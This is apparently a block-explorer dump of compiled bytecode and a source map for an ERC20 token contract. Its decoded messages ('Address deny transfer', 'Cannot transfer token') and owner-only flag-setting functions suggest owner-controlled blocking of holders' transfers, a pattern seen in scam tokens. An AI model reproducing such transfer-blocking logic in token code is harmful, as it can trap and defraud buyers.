50505050505f600560156101000a81548160ff02191690831515021790555050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561211b578082015181840152602081019050612100565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612140826120e4565b61214a81856120ee565b935061215a8185602086016120fe565b61216381612126565b840191505092915050565b5f6020820190508181035f8301526121868184612136565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6121bf82612196565b9050919050565b6121cf816121b5565b81146121d9575f80fd5b50565b5f813590506121ea816121c6565b92915050565b5f819050919050565b612202816121f0565b811461220c575f80fd5b50565b5f8135905061221d816121f9565b92915050565b5f80604083850312156122395761223861218e565b5b5f612246858286016121dc565b92505060206122578582860161220f565b9150509250929050565b5f8115159050919050565b61227581612261565b82525050565b5f60208201905061228e5f83018461226c565b92915050565b61229d816121f0565b82525050565b5f6020820190506122b65f830184612294565b92915050565b5f805f606084860312156122d3576122d261218e565b5b5f6122e0868287016121dc565b93505060206122f1868287016121dc565b92505060406123028682870161220f565b9150509250925092565b5f60ff82169050919050565b6123218161230c565b82525050565b5f60208201905061233a5f830184612318565b92915050565b612349816121b5565b82525050565b5f6020820190506123625f830184612340565b92915050565b5f6020828403121561237d5761237c61218e565b5b5f61238a848285016121dc565b91505092915050565b61239c8161230c565b81146123a6575f80fd5b50565b5f813590506123b781612393565b92915050565b5f80604083850312156123d3576123d261218e565b5b5f6123e0858286016123a9565b92505060206123f1858286016123a9565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261241c5761241b6123fb565b5b8235905067ffffffffffffffff811115612439576124386123ff565b5b60208301915083602082028301111561245557612454612403565b5b9250929050565b61246581612261565b811461246f575f80fd5b50565b5f813590506124808161245c565b92915050565b5f805f6040848603121561249d5761249c61218e565b5b5f84013567ffffffffffffffff8111156124ba576124b9612192565b5b6124c686828701612407565b935093505060206124d986828701612472565b9150509250925092565b5f602082840312156124f8576124f761218e565b5b5f61250584828501612472565b91505092915050565b5f80604083850312156125245761252361218e565b5b5f612531858286016121dc565b9250506020612542858286016121dc565b9150509250929050565b5f602082840312156125615761256061218e565b5b5f61256e8482850161220f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125f9578086048111156125d5576125d4612577565b5b60018516156125e45780820291505b80810290506125f2856125a4565b94506125b9565b94509492505050565b5f8261261157600190506126cc565b8161261e575f90506126cc565b8160018114612634576002811461263e5761266d565b60019150506126cc565b60ff8411156126505761264f612577565b5b8360020a91508482111561266757612666612577565b5b506126cc565b5060208310610133831016604e8410600b84101617156126a25782820a90508381111561269d5761269c612577565b5b6126cc565b6126af84848460016125b0565b925090508184048111156126c6576126c5612577565b5b81810290505b9392505050565b5f6126dd826121f0565b91506126e88361230c565b92506127157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612602565b905092915050565b5f612727826121f0565b9150612732836121f0565b9250828202612740816121f0565b9150828204841483151761275757612756612577565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127926020836120ee565b915061279d8261275e565b602082019050919050565b5f6020820190508181035f8301526127bf81612786565b9050919050565b5f815190506127d4816121c6565b92915050565b5f602082840312156127ef576127ee61218e565b5b5f6127fc848285016127c6565b91505092915050565b5f6040820190506128185f830185612340565b6128256020830184612340565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612863826121f0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361289557612894612577565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6128fa6026836120ee565b9150612905826128a0565b604082019050919050565b5f6020820190508181035f830152612927816128ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129886024836120ee565b91506129938261292e565b604082019050919050565b5f6020820190508181035f8301526129b58161297c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a166022836120ee565b9150612a21826129bc565b604082019050919050565b5f6020820190508181035f830152612a4381612a0a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa46025836120ee565b9150612aaf82612a4a565b604082019050919050565b5f6020820190508181035f830152612ad181612a98565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b326023836120ee565b9150612b3d82612ad8565b604082019050919050565b5f6020820190508181035f830152612b5f81612b26565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bc06029836120ee565b9150612bcb82612b66565b604082019050919050565b5f6020820190508181035f830152612bed81612bb4565b9050919050565b5f612bfe826121f0565b9150612c09836121f0565b9250828203905081811115612c2157612c20612577565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612c5e826121f0565b9150612c69836121f0565b925082612c7957612c78612c27565b5b828204905092915050565b5f612c8e826121f0565b9150612c99836121f0565b9250828201905080821115612cb157612cb0612577565b5b92915050565b7f416464726573732064656e79207472616e7366657200000000000000000000005f82015250565b5f612ceb6015836120ee565b9150612cf682612cb7565b602082019050919050565b5f6020820190508181035f830152612d1881612cdf565b9050919050565b7f43616e6e6f74207472616e7366657220746f6b656e00000000000000000000005f82015250565b5f612d536015836120ee565b9150612d5e82612d1f565b602082019050919050565b5f6020820190508181035f830152612d8081612d47565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f612de0612ddb612dd684612db4565b612dbd565b6121f0565b9050919050565b612df081612dc6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612e28816121b5565b82525050565b5f612e398383612e1f565b60208301905092915050565b5f602082019050919050565b5f612e5b82612df6565b612e658185612e00565b9350612e7083612e10565b805f5b83811015612ea0578151612e878882612e2e565b9750612e9283612e45565b925050600181019050612e73565b5085935050505092915050565b5f60a082019050612ec05f830188612294565b612ecd6020830187612de7565b8181036040830152612edf8186612e51565b9050612eee6060830185612340565b612efb6080830184612294565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090fbd5a8db8a781663e63c791299be3309f566b796ce754d92b006a25024df2864736f6c63430008140033
Deployed Bytecode Sourcemap
1238:7094:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2443:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3512:186;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2708:98;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3704:431;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2621:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3133:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1985:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6250:335;;;:::i;:::-;;8206:124;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2812:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1607:145:5;;;:::i;:::-;;990:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2530:85:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2935:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7248:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6927:217;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8109:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3329:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6591:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6698:223;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1902:240:5;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2020:31:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2443:81;2480:13;2512:5;;;;;;;;;;;;;;;;;2505:12;;2443:81;:::o;3512:186::-;3611:4;3631:39;3640:12;:10;:12::i;:::-;3654:7;3663:6;3631:8;:39::i;:::-;3687:4;3680:11;;3512:186;;;;:::o;2708:98::-;2761:7;1525:2;1769;:13;;;;:::i;:::-;1747:19;:35;;;;:::i;:::-;2780:19;;2708:98;:::o;3704:431::-;3832:4;3848:36;3858:6;3866:9;3877:6;3848:9;:36::i;:::-;;3894:213;3916:6;3936:12;:10;:12::i;:::-;3962:135;4017:6;3962:135;;;;;;;;;;;;;;;;;:11;:19;3974:6;3962:19;;;;;;;;;;;;;;;:33;3982:12;:10;:12::i;:::-;3962:33;;;;;;;;;;;;;;;;:37;;:135;;;;;:::i;:::-;3894:8;:213::i;:::-;4124:4;4117:11;;3704:431;;;;;:::o;2621:81::-;2662:5;1525:2;2679:16;;2621:81;:::o;3133:190::-;3233:4;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3253:42:4::1;3263:12;:10;:12::i;:::-;3277:9;3288:6;3253:9;:42::i;:::-;;3312:4;3305:11;;3133:190:::0;;;;:::o;1985:28::-;;;;;;;;;;;;;:::o;6250:335::-;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6302:16:4::1;1862:42;6321:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6302:44;;6356:13;1862:42;6372:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6356:38;;6404:13;6438:8;6420:35;;;6477:4;6496:5;6420:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6404:107;;6537:5;6521:13;;:21;;;;;;;;;;;;;;;;;;6567:11;;;;;;;;;;;6566:12;6552:11;;:26;;;;;;;;;;;;;;;;;;6292:293;;;6250:335::o:0;8206:124::-;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8307:16:4::1;8289:15;;:34;;;;;;;;;;;;;;;;;;8206:124:::0;:::o;2812:117::-;2878:7;2904:9;:18;2914:7;2904:18;;;;;;;;;;;;;;;;2897:25;;2812:117;;;:::o;1607:145:5:-;1204:12;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1713:1:::1;1676:40;;1697:6;::::0;::::1;;;;;;;;1676:40;;;;;;;;;;;;1743:1;1726:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1607:145::o:0;990:77::-;1028:7;1054:6;;;;;;;;;;;1047:13;;990:77;:::o;2530:85:4:-;2569:13;2601:7;;;;;;;;;;;;;;;;;2594:14;;2530:85;:::o;2935:192::-;3037:4;3057:42;3067:12;:10;:12::i;:::-;3081:9;3092:6;3057:9;:42::i;:::-;;3116:4;3109:11;;2935:192;;;;:::o;7248:117::-;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7329:5:4::1;7318:8;;:16;;;;;;;;;;;;;;;;;;7354:4;7344:7;;:14;;;;;;;;;;;;;;;;;;7248:117:::0;;:::o;6927:217::-;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7041:9:4::1;7036:102;7060:8;;:15;;7056:1;:19;7036:102;;;7121:6;7096:9;:22;7106:8;;7115:1;7106:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7096:22;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;7077:3;;;;;:::i;:::-;;;;7036:102;;;;6927:217:::0;;;:::o;8109:91::-;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8189:4:4::1;8174:12;;:19;;;;;;;;;;;;;;;;;;8109:91:::0;:::o;3329:177::-;3442:7;3472:11;:18;3484:5;3472:18;;;;;;;;;;;;;;;:27;3491:7;3472:27;;;;;;;;;;;;;;;;3465:34;;3329:177;;;;:::o;6591:101::-;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6675:10:4::1;6661:11;:24;;;;6591:101:::0;:::o;6698:223::-;1204:12:5;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6816:9:4::1;6811:104;6835:8;;:15;;6831:1;:19;6811:104;;;6896:8;6871:9;:22;6881:8;;6890:1;6881:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6871:22;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;6852:3;;;;;:::i;:::-;;;;6811:104;;;;6698:223:::0;;;:::o;1902:240:5:-;1204:12;:10;:12::i;:::-;1194:22;;:6;;;;;;;;;;:22;;;1186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2010:1:::1;1990:22;;:8;:22;;::::0;1982:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2099:8;2070:38;;2091:6;::::0;::::1;;;;;;;;2070:38;;;;;;;;;;;;2127:8;2118:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1902:240:::0;:::o;2020:31:4:-;;;;;;;;;;;;;:::o;588:96:0:-;641:7;667:10;660:17;;588:96;:::o;4141:360:4:-;4280:1;4263:19;;:5;:19;;;4255:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4360:1;4341:21;;:7;:21;;;4333:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4441:6;4411:11;:18;4423:5;4411:18;;;;;;;;;;;;;;;:27;4430:7;4411:27;;;;;;;;;;;;;;;:36;;;;4478:7;4462:32;;4471:5;4462:32;;;4487:6;4462:32;;;;;;:::i;:::-;;;;;;;;4141:360;;;:::o;4507:1260::-;4616:4;4656:1;4640:18;;:4;:18;;;4632:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4732:1;4718:16;;:2;:16;;;4710:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4801:1;4792:6;:10;4784:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4866:11;;;;;;;;;;;:30;;;;4889:7;:5;:7::i;:::-;4881:15;;:4;:15;;;4866:30;:47;;;;4906:7;:5;:7::i;:::-;4900:13;;:2;:13;;;4866:47;4858:56;;;;;;4925:19;4935:4;4941:2;4925:9;:19::i;:::-;4954:23;4968:4;4974:2;4954:13;:23::i;:::-;5007:6;4988:9;:15;4998:4;4988:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5047:13;;;;;;;;;;;5041:19;;:2;:19;;;:44;;;;;5077:8;;;;;;;;;;;5076:9;5041:44;:99;;;;;5129:11;;5101:24;5119:4;5101:9;:24::i;:::-;:39;;5041:99;:130;;;;;5164:7;:5;:7::i;:::-;5156:15;;:4;:15;;;;5041:130;:162;;;;;5188:9;:15;5198:4;5188:15;;;;;;;;;;;;;;;;;;;;;;;;;5187:16;5041:162;:192;;;;;5220:9;:13;5230:2;5220:13;;;;;;;;;;;;;;;;;;;;;;;;;5219:14;5041:192;5024:395;;;5269:4;5258:8;;:15;;;;;;;;;;;;;;;;;;5287:29;5304:11;;5287:16;:29::i;:::-;5338:7;:5;:7::i;:::-;5330:25;;:48;5356:21;5330:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5403:5;5392:8;;:16;;;;;;;;;;;;;;;;;;5024:395;5449:4;5433:21;;:4;:21;;;;:44;;;;;5473:4;5458:19;;:11;;;;;;;;;;;:19;;;5433:44;5429:236;;;5493:11;5579:3;5540:13;;;;;;;;;;;5534:19;;:2;:19;;;:40;;5567:7;;;;;;;;;;;5534:40;;;5556:8;;;;;;;;;;;5534:40;5508:67;;:6;:67;;;;:::i;:::-;5507:75;;;;:::i;:::-;5493:89;;5606:3;5596:13;;;;;:::i;:::-;;;5651:3;5623:9;:24;5641:4;5623:24;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;5479:186;5429:236;5692:6;5675:9;:13;5685:2;5675:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5728:2;5713:26;;5722:4;5713:26;;;5732:6;5713:26;;;;;;:::i;:::-;;;;;;;;5756:4;5749:11;;4507:1260;;;;;:::o;4628:201:6:-;4714:7;4770:1;4765;:6;;4773:12;4757:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4811:1;4807;:5;4800:12;;4628:201;;;;;:::o;7889:214:4:-;7977:4;7961:21;;:4;:21;;;;:36;;;;;7986:11;;;;;;;;;;;7961:36;:59;;;;;8007:13;;;;;;;;;;;8001:19;;:2;:19;;;7961:59;7957:140;;;8045:9;:15;8055:4;8045:15;;;;;;;;;;;;;;;;;;;;;;;;;8044:16;8036:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;7957:140;7889:214;;:::o;7371:512::-;7447:12;;;;;;;;;;;7443:434;;;7502:13;;;;;;;;;;;7496:19;;:2;:19;;;;:52;;;;;7541:7;:5;:7::i;:::-;7535:13;;:2;:13;;;;7496:52;:91;;;;;7582:4;7568:19;;:2;:19;;;;7496:91;:132;;;;;7613:15;;;;;;;;;;;7607:21;;:2;:21;;;;7496:132;:175;;;;;7656:15;;;;;;;;;;;7648:23;;:4;:23;;;;7496:175;:216;;;;;7699:13;;;;;;;;;;;7691:21;;:4;:21;;;;7496:216;:251;;;;;7740:7;:5;:7::i;:::-;7732:15;;:4;:15;;;;7496:251;:292;;;;;7783:4;7767:21;;:4;:21;;;;7496:292;7475:392;;;7821:31;;;;;;;;;;:::i;:::-;;;;;;;;7475:392;7443:434;7371:512;;:::o;5773:471::-;7194:4;7183:8;;:15;;;;;;;;;;;;;;;;;;5850:21:::1;5888:1;5874:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5850:40;;5918:4;5900;5905:1;5900:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;1862:42;5943:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5933:4;5938:1;5933:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;5975:62;5992:4;1862:42;6025:11;5975:8;:62::i;:::-;1862:42;6047:66;;;6127:11;6152:1;6167:4;6193;6212:15;6047:190;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;5840:404;7230:5:::0;7219:8;;:16;;;;;;;;;;;;;;;;;;5773:471;:::o;7:99:7:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:222::-;5070:4;5108:2;5097:9;5093:18;5085:26;;5121:71;5189:1;5178:9;5174:17;5165:6;5121:71;:::i;:::-;4977:222;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:118::-;5611:22;5627:5;5611:22;:::i;:::-;5604:5;5601:33;5591:61;;5648:1;5645;5638:12;5591:61;5540:118;:::o;5664:135::-;5708:5;5746:6;5733:20;5724:29;;5762:31;5787:5;5762:31;:::i;:::-;5664:135;;;;:::o;5805:466::-;5869:6;5877;5926:2;5914:9;5905:7;5901:23;5897:32;5894:119;;;5932:79;;:::i;:::-;5894:119;6052:1;6077:51;6120:7;6111:6;6100:9;6096:22;6077:51;:::i;:::-;6067:61;;6023:115;6177:2;6203:51;6246:7;6237:6;6226:9;6222:22;6203:51;:::i;:::-;6193:61;;6148:116;5805:466;;;;;:::o;6277:117::-;6386:1;6383;6376:12;6400:117;6509:1;6506;6499:12;6523:117;6632:1;6629;6622:12;6663:568;6736:8;6746:6;6796:3;6789:4;6781:6;6777:17;6773:27;6763:122;;6804:79;;:::i;:::-;6763:122;6917:6;6904:20;6894:30;;6947:18;6939:6;6936:30;6933:117;;;6969:79;;:::i;:::-;6933:117;7083:4;7075:6;7071:17;7059:29;;7137:3;7129:4;7121:6;7117:17;7107:8;7103:32;7100:41;7097:128;;;7144:79;;:::i;:::-;7097:128;6663:568;;;;;:::o;7237:116::-;7307:21;7322:5;7307:21;:::i;:::-;7300:5;7297:32;7287:60;;7343:1;7340;7333:12;7287:60;7237:116;:::o;7359:133::-;7402:5;7440:6;7427:20;7418:29;;7456:30;7480:5;7456:30;:::i;:::-;7359:133;;;;:::o;7498:698::-;7590:6;7598;7606;7655:2;7643:9;7634:7;7630:23;7626:32;7623:119;;;7661:79;;:::i;:::-;7623:119;7809:1;7798:9;7794:17;7781:31;7839:18;7831:6;7828:30;7825:117;;;7861:79;;:::i;:::-;7825:117;7974:80;8046:7;8037:6;8026:9;8022:22;7974:80;:::i;:::-;7956:98;;;;7752:312;8103:2;8129:50;8171:7;8162:6;8151:9;8147:22;8129:50;:::i;:::-;8119:60;;8074:115;7498:698;;;;;:::o;8202:323::-;8258:6;8307:2;8295:9;8286:7;8282:23;8278:32;8275:119;;;8313:79;;:::i;:::-;8275:119;8433:1;8458:50;8500:7;8491:6;8480:9;8476:22;8458:50;:::i;:::-;8448:60;;8404:114;8202:323;;;;:::o;8531:474::-;8599:6;8607;8656:2;8644:9;8635:7;8631:23;8627:32;8624:119;;;8662:79;;:::i;:::-;8624:119;8782:1;8807:53;8852:7;8843:6;8832:9;8828:22;8807:53;:::i;:::-;8797:63;;8753:117;8909:2;8935:53;8980:7;8971:6;8960:9;8956:22;8935:53;:::i;:::-;8925:63;;8880:118;8531:474;;;;;:::o;9011:329::-;9070:6;9119:2;9107:9;9098:7;9094:23;9090:32;9087:119;;;9125:79;;:::i;:::-;9087:119;9245:1;9270:53;9315:7;9306:6;9295:9;9291:22;9270:53;:::i;:::-;9260:63;;9216:117;9011:329;;;;:::o;9346:180::-;9394:77;9391:1;9384:88;9491:4;9488:1;9481:15;9515:4;9512:1;9505:15;9532:102;9574:8;9621:5;9618:1;9614:13;9593:34;;9532:102;;;:::o;9640:848::-;9701:5;9708:4;9732:6;9723:15;;9756:5;9747:14;;9770:712;9791:1;9781:8;9778:15;9770:712;;;9886:4;9881:3;9877:14;9871:4;9868:24;9865:50;;;9895:18;;:::i;:::-;9865:50;9945:1;9935:8;9931:16;9928:451;;;10360:4;10353:5;10349:16;10340:25;;9928:451;10410:4;10404;10400:15;10392:23;;10440:32;10463:8;10440:32;:::i;:::-;10428:44;;9770:712;;;9640:848;;;;;;;:::o;10494:1073::-;10548:5;10739:8;10729:40;;10760:1;10751:10;;10762:5;;10729:40;10788:4;10778:36;;10805:1;10796:10;;10807:5;;10778:36;10874:4;10922:1;10917:27;;;;10958:1;10953:191;;;;10867:277;;10917:27;10935:1;10926:10;;10937:5;;;10953:191;10998:3;10988:8;10985:17;10982:43;;;11005:18;;:::i;:::-;10982:43;11054:8;11051:1;11047:16;11038:25;;11089:3;11082:5;11079:14;11076:40;;;11096:18;;:::i;:::-;11076:40;11129:5;;;10867:277;;11253:2;11243:8;11240:16;11234:3;11228:4;11225:13;11221:36;11203:2;11193:8;11190:16;11185:2;11179:4;11176:12;11172:35;11156:111;11153:246;;;11309:8;11303:4;11299:19;11290:28;;11344:3;11337:5;11334:14;11331:40;;;11351:18;;:::i;:::-;11331:40;11384:5;;11153:246;11424:42;11462:3;11452:8;11446:4;11443:1;11424:42;:::i;:::-;11409:57;;;;11498:4;11493:3;11489:14;11482:5;11479:25;11476:51;;;11507:18;;:::i;:::-;11476:51;11556:4;11549:5;11545:16;11536:25;;10494:1073;;;;;;:::o;11573:281::-;11631:5;11655:23;11673:4;11655:23;:::i;:::-;11647:31;;11699:25;11715:8;11699:25;:::i;:::-;11687:37;;11743:104;11780:66;11770:8;11764:4;11743:104;:::i;:::-;11734:113;;11573:281;;;;:::o;11860:410::-;11900:7;11923:20;11941:1;11923:20;:::i;:::-;11918:25;;11957:20;11975:1;11957:20;:::i;:::-;11952:25;;12012:1;12009;12005:9;12034:30;12052:11;12034:30;:::i;:::-;12023:41;;12213:1;12204:7;12200:15;12197:1;12194:22;12174:1;12167:9;12147:83;12124:139;;12243:18;;:::i;:::-;12124:139;11908:362;11860:410;;;;:::o;12276:182::-;12416:34;12412:1;12404:6;12400:14;12393:58;12276:182;:::o;12464:366::-;12606:3;12627:67;12691:2;12686:3;12627:67;:::i;:::-;12620:74;;12703:93;12792:3;12703: